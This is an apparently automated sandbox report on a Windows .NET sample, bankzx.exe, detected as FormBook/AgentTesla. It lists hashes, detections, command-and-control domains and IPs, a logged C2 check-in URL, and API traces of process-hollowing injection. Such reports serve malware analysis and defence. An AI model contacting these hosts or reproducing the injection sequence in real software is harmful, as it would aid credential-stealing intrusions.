Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 8, 2021, 10:04 a.m.	Sept. 8, 2021, 10:06 a.m.

Size	664.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`604eadeb6c2ff6e10801d33156daff00`
SHA256	`938bf878a5a507a424718a7302d55d36c1ae58fcf571c5da0a6a4a136ee0f736`
CRC32	`4D0227B1`
ssdeep	`6144:gQHFJLgGWGxiVLLHomtUWyj9D06tiKZVFqfSROFuz03lINPeXqRIKj:EMmtUtu6tDZTqqguz014m6RIY`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware IsPE32 - (no description) Is_DotNET_EXE - (no description) Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

bankzx.exe "C:\Users\test22\AppData\Local\Temp\bankzx.exe"
1104
- bankzx.exe "C:\Users\test22\AppData\Local\Temp\bankzx.exe"
  2428

Name	Response	Post-Analysis Lookup
www.eepemvv.icu	A 47.91.170.222	47.91.170.222
www.sewingfabulous.com	A 157.230.123.243	157.230.123.243

IP Address	Status	Action
157.230.123.243	Active	Moloch
164.124.101.2	Active	Moloch
47.91.170.222	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.102:52336 -> 164.124.101.2:53	2026888	ET INFO DNS Query for Suspicious .icu Domain	Potentially Bad Traffic
TCP 192.168.56.102:49167 -> 157.230.123.243:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 157.230.123.243:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 157.230.123.243:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 8, 2021, 10:04 a.m.			0	0
IsDebuggerPresent Sept. 8, 2021, 10:04 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (3 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 8, 2021, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003f13f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003f1238 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003f1238 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 8, 2021, 10:04 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://www.sewingfabulous.com/bckt/?Sj=7Ik8ChWSL5VzEe3a04+36/SJu8hLtPZoZ31vezVf5nypdk71mafxck6NJodjqBPI4m/Qid3L&RX=dnC4O0dPddHd4N7

Performs some HTTP requests (1 event)

request

GET http://www.sewingfabulous.com/bckt/?Sj=7Ik8ChWSL5VzEe3a04+36/SJu8hLtPZoZ31vezVf5nypdk71mafxck6NJodjqBPI4m/Qid3L&RX=dnC4O0dPddHd4N7

Allocates read-write-execute memory (usually to unpack itself) (41 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00500000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x731a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x731a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 1769472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02150000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00562000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00595000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00597000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00680000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0056a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0058a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00587000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00586000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00681000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70692000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:04 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00684000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00685000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00686000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00687000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00688000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00689000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05150000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 1104 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05151000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 2428 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b90000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 8, 2021, 10:05 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Sept. 8, 2021, 10:05 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (7 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess Sept. 8, 2021, 10:05 a.m.	status_code: 0xffffffff process_identifier: 2220 process_handle: 0x00000290		0	0
NtTerminateProcess Sept. 8, 2021, 10:05 a.m.	status_code: 0xffffffff process_identifier: 2220 process_handle: 0x00000290	1	0	0

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 2220 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000280		3221225496	0
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 2428 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000294	1	0	0

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1104 manipulating memory of non-child process 2220
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 2220 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000280		3221225496	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 8, 2021, 10:05 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELö8à Ä@ëà@à@.text¤ÃÄ ` base_address: 0x00400000 process_identifier: 2428 process_handle: 0x00000294	1	1	0
WriteProcessMemory Sept. 8, 2021, 10:05 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2428 process_handle: 0x00000294	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 8, 2021, 10:05 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELö8à Ä@ëà@à@.text¤ÃÄ ` base_address: 0x00400000 process_identifier: 2428 process_handle: 0x00000294	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1104 called NtSetContextThread to modify thread in remote process 2428
NtSetContextThread Sept. 8, 2021, 10:05 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4320064 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000290 process_identifier: 2428	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1104 resumed a thread in remote process 2428
NtResumeThread Sept. 8, 2021, 10:05 a.m.	thread_handle: 0x00000290 suspend_count: 1 process_identifier: 2428	1	0	0

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

47.91.170.222:80

Executed a process and injected code into it, probably while unpacking (15 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 8, 2021, 10:04 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 1104	1	0
NtResumeThread Sept. 8, 2021, 10:04 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 1104	1	0
NtResumeThread Sept. 8, 2021, 10:04 a.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 1104	1	0
NtResumeThread Sept. 8, 2021, 10:05 a.m.	thread_handle: 0x00000274 suspend_count: 1 process_identifier: 1104	1	0
CreateProcessInternalW Sept. 8, 2021, 10:05 a.m.	thread_identifier: 2156 thread_handle: 0x0000027c process_identifier: 2220 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\bankzx.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\bankzx.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000280	1	1
NtGetContextThread Sept. 8, 2021, 10:05 a.m.	thread_handle: 0x0000027c	1	0
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 2220 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000280		3221225496
CreateProcessInternalW Sept. 8, 2021, 10:05 a.m.	thread_identifier: 2256 thread_handle: 0x00000290 process_identifier: 2428 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\bankzx.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\bankzx.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000294	1	1
NtGetContextThread Sept. 8, 2021, 10:05 a.m.	thread_handle: 0x00000290	1	0
NtAllocateVirtualMemory Sept. 8, 2021, 10:05 a.m.	process_identifier: 2428 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000294	1	0
WriteProcessMemory Sept. 8, 2021, 10:05 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELö8à Ä@ëà@à@.text¤ÃÄ ` base_address: 0x00400000 process_identifier: 2428 process_handle: 0x00000294	1	1
WriteProcessMemory Sept. 8, 2021, 10:05 a.m.	buffer: base_address: 0x00401000 process_identifier: 2428 process_handle: 0x00000294	1	1
WriteProcessMemory Sept. 8, 2021, 10:05 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2428 process_handle: 0x00000294	1	1
NtSetContextThread Sept. 8, 2021, 10:05 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4320064 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000290 process_identifier: 2428	1	0
NtResumeThread Sept. 8, 2021, 10:05 a.m.	thread_handle: 0x00000290 suspend_count: 1 process_identifier: 2428	1	0

File has been identified by 36 AntiVirus engines on VirusTotal as malicious (36 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37547256
FireEye	Generic.mg.604eadeb6c2ff6e1
Cylance	Unsafe
K7AntiVirus	Riskware ( 0040eff71 )
Alibaba	Trojan:Win32/Kryptik.ali2000016
K7GW	Riskware ( 0040eff71 )
Cybereason	malicious.73122e
Cyren	W32/MSIL_Kryptik.FLH.gen!Eldorado
Symantec	Trojan.Gen.2
ESET-NOD32	Win32/Formbook.AA
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan.MSIL.Taskun.gen
BitDefender	Trojan.GenericKD.37547256
Avast	Win32:CrypterX-gen [Trj]
Ad-Aware	Trojan.GenericKD.37547256
DrWeb	Trojan.Packed2.43380
McAfee-GW-Edition	BehavesLike.Win32.Generic.jh
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
Webroot	W32.Trojan.Gen
MAX	malware (ai score=99)
Microsoft	Trojan:Win32/AgentTesla!ml
ZoneAlarm	HEUR:Trojan.MSIL.Taskun.gen
GData	Win32.Trojan-Stealer.FormBook.Y785QG
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.CrypterX-gen.C4625972
McAfee	AgentTesla-FDCV!604EADEB6C2F
Malwarebytes	Malware.AI.4845824
Tencent	Win32.Trojan.Inject.Auto
Ikarus	Trojan-Spy.Keylogger.Snake
Fortinet	MSIL/GenKryptik.FJTZ!tr
AVG	Win32:CrypterX-gen [Trj]
CrowdStrike	win/malicious_confidence_80% (W)
MaxSecure	Trojan.Malware.300983.susgen

bankzx.exe

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